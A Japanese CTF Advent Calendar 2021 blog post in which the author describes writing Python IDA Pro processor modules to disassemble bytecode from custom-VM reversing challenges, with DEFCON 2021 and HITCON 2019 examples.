この記事は、CTF Advent Calendar 2021の4日目です。

adventar.org

CTFで出題されるreversingの問題のひとつに、独自VMと呼ばれる、独自に実装されたVirtual Machineの上で動くバイトコード(プログラム)の解析を行うものがあります。

この問題ではVM自体のバイナリを読み、どのような命令があるのか、どのような挙動なのかを把握するのはもちろん、最終的にはそのVM上で動くバイトコード自体を読み解く必要があり、かなり根気がいります。

VMのバイナリはいつも通りIDA Proで解析すればよいのですが、その後のバイトコードの解析にはもちろんIDA Proが使えず、簡易的なディスアセンブラを実装し、テキストエディタでメモを書きながら読んでいく必要があります。関数呼び出しや分岐があればあるほど読みにくくなっていき、解析にかなりの時間を費すことになります。

そこでIDA Proのプラグインを自分で書いて、独自VM問のバイトコードをIDA Proで読めるようにしてしまおうというのがこの記事での本題です。

IDA Proのprocessor moduleを書く

IDA Proではprocessor moduleを書くことで独自のアーキテクチャを定義し読み込むことができます。

IDA Pro本体に同梱されているprocessor moduleのほとんどはC++で実装されていますが、CTFで対象となるのは小規模なバイナリなので書きやすさを優先して今回はPythonで実装しました。 独自のprocessor moduleを書く際のテンプレートや、Pythonで書かれたprocessor moduleもいくつか同梱されているので、それらを参考に書いていきます。

次に過去に出題された独自VM問のために作ったprocessor moduleを紹介します。

例題1: baby-a-fallen-lap-ray - DEFCON 2021 Quals

github.com

よくわからないマシン(エミュレータ)上で動くVM上で動くバイトコードのreversingです。解析自体はかなりつらいです。

作ったprocessor module: https://github.com/akiym/ida-ctf-vm-chall-reversing/blob/0a499f8427eb09241f7c4b861314aa87c17e6230/procs/fallen-lap-ray.py

f:id:akiym:20211204190203p:plain f:id:akiym:20211204190217p:plain

実のところ、IDA Proでバイトコードを読むというアイディアは以下のwriteupからいただきました(元記事ではBinary Ninjaを使っています)。ありがとうございます。

zackorndorff.com

例題2: EmojiVM - HITCON CTF 2019

github.com

この問題はスタックマシン型のVMなのですが、自分の中で解析方法が定まっておらずprocessor moduleでスタックの状態をエミュレーションしながら、その結果をコメントに追記していく形にしました。あまりIDA Proでの解析の恩恵を得られなかった例です。

作ったprocessor module: https://github.com/akiym/ida-ctf-vm-chall-reversing/blob/0a499f8427eb09241f7c4b861314aa87c17e6230/procs/emojivm.py

f:id:akiym:20211204191405p:plain

まとめ

IDA Proを使って独自VM問のバイトコードの解析ができるようprocessor moduleを書いてみました。今後出題される問題でも今回書いたスクリプトを少し書き換えれば応用可能なので、また使う機会があるかもしれません。

実際のところ、IDA Proで読めたからといってそこで終わりではなく、ここからまた時間をかけて人間が読む作業は残っています。 2020 Plug-In Contest – Hex Rays にbfというbrainfuckをHex-Rays decompilerでデコンパイルするというプラグインがあったので、解析補助のためにデコンパイラを実装できなくはないのかもしれませんが、1つのVM問に対する実装量がかなり多くなるはずで、現実的には人間が読むほうが早いということになりそうではあります。

今後も問題を解く上で書いたprocessor moduleは以下のリポジトリに追加していく予定です。面白かった独自VM問の過去問がありましたらIDA Proで読もうと思いますので是非 @akiym まで教えてください。

github.com